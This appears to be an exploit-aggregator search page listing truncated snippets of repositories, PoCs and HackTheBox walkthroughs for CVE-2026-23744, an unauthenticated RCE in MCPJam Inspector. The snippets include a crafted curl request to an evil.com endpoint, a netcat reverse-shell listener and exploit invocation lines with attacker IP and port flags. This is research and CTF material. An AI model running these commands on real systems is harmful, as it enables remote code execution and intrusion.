79 matches found
cve-2026-23744
CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...
CVE-2026-23744-PoC
Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...
CVE-2026-23744
CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...
mcpExec
mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip...
DevHub-HTB-Walkthrough
DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance root@kitploit: nmap -sC -sV devhub.htb Result: root@kitploit: Port 22 SSH Port 80 HTTP Port 6274 MCPJam...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector Remote-Code-Execution: Proof Of Concept POC usage: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
CVE-2026-23744-PoC
CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: root@kitploit: /api/mcp/connect method via curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...
CVE-2026-23744
CVE-2026-23744 説明 MCPJam inspector は、MCP サーバー向けのローカルファースト開発プラットフォームです。バージョン =1.4.2 にはリモートコード実行の脆弱性があり、攻撃者が細工した HTTP リクエストを送信すると MCP サーバーのインストールが誘発されて RCE に至る可能性があります。脆弱性の詳細については、参照リンクをご覧ください。 使用方法 要件 root@kitploit: $ pip install requests 概念実証（PoC）の使用方法 root@kitploit: $ python3 exploit.py -h --lho...
CVE-2026-23744
CVE-2026-23744 CVE-2026-23744 RCE While analyzing this vulnerability, I discovered that MCPJam Inspector exposed the /api/mcp/connect endpoint to the network by binding to 0.0.0.0. This endpoint accepts a JSON object containing serverConfig, including the fields command and args. The application...
HTB-DevHub
HackTheBox — DevHub CVE-2026-23744 | MCPJam Inspector Unauthenticated RCE Difficulty: Medium OS: Linux Exploitation Chain root@kitploit: ┌─────────────────────────────────────────────────────┐ │ CVE-2026-23744 │ │ Unauthenticated POST → /api/mcp/connect │...
CVE-2026-23744-MCPJam-Exploit
CVE-2026-23744 MCPJam Inspector RCE 익스플로잇 ⚠️ 면책 조항 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 무단 사용은 불법입니다. 사용자는 자신의 행동에 대한 모든 책임을 집니다. 📋 개요 이 저장소는 CVE-2026-23744 에 대한 개념 증명 익스플로잇으로, MCPJam Inspector 버전 =1.4.2에서 발견된 인증되지 않은 원격 코드 실행RCE 취약점입니다. 이 취약점은 네트워크 공격 벡터로 심각한 위험을 나타내는 CVSS 점수 9.8을 가지고 있습니다...
mcpjam-cve-2026-23744-validator
MCPJam Inspector 認可済みセキュリティバリデータ 脆弱なMCPJam Inspectorデプロイメントに影響するCVE-2026-23744 のための制限された概念実証バリデータです。 このプロジェクトは、以前に開示されたCVE-2026-23744のための独立した非破壊的な検証ツールです。元の脆弱性開示やエクスプロイトではありません。 このリポジトリは、自身が所有する、または明示的な書面による評価権限を持つシステムを検証するセキュリティ専門家を対象としています。 重要な注意事項 このバリデータは、対象のMCPJam...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit root@kitploit: python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - RCE Exploit Vulnerability Description MCPJam Inspector contains an unauthenticated Remote Code Execution RCE vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
mcpjam-to-root
⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...
CVE-2025-49596-PoC
CVE-2026-23744-PoC Automated PoC for CVE-2026-23744 RCE on MCPJam inspector prior to 1.4.2 on linux targets How to use root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...
CVE-2026-23744-PoC
CVE-2026-23744-PoC Disclaimer: This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments e.g., HTB, CTF, or internal penetration testing with explicit written consent. Unauthorised use against any system without permissio...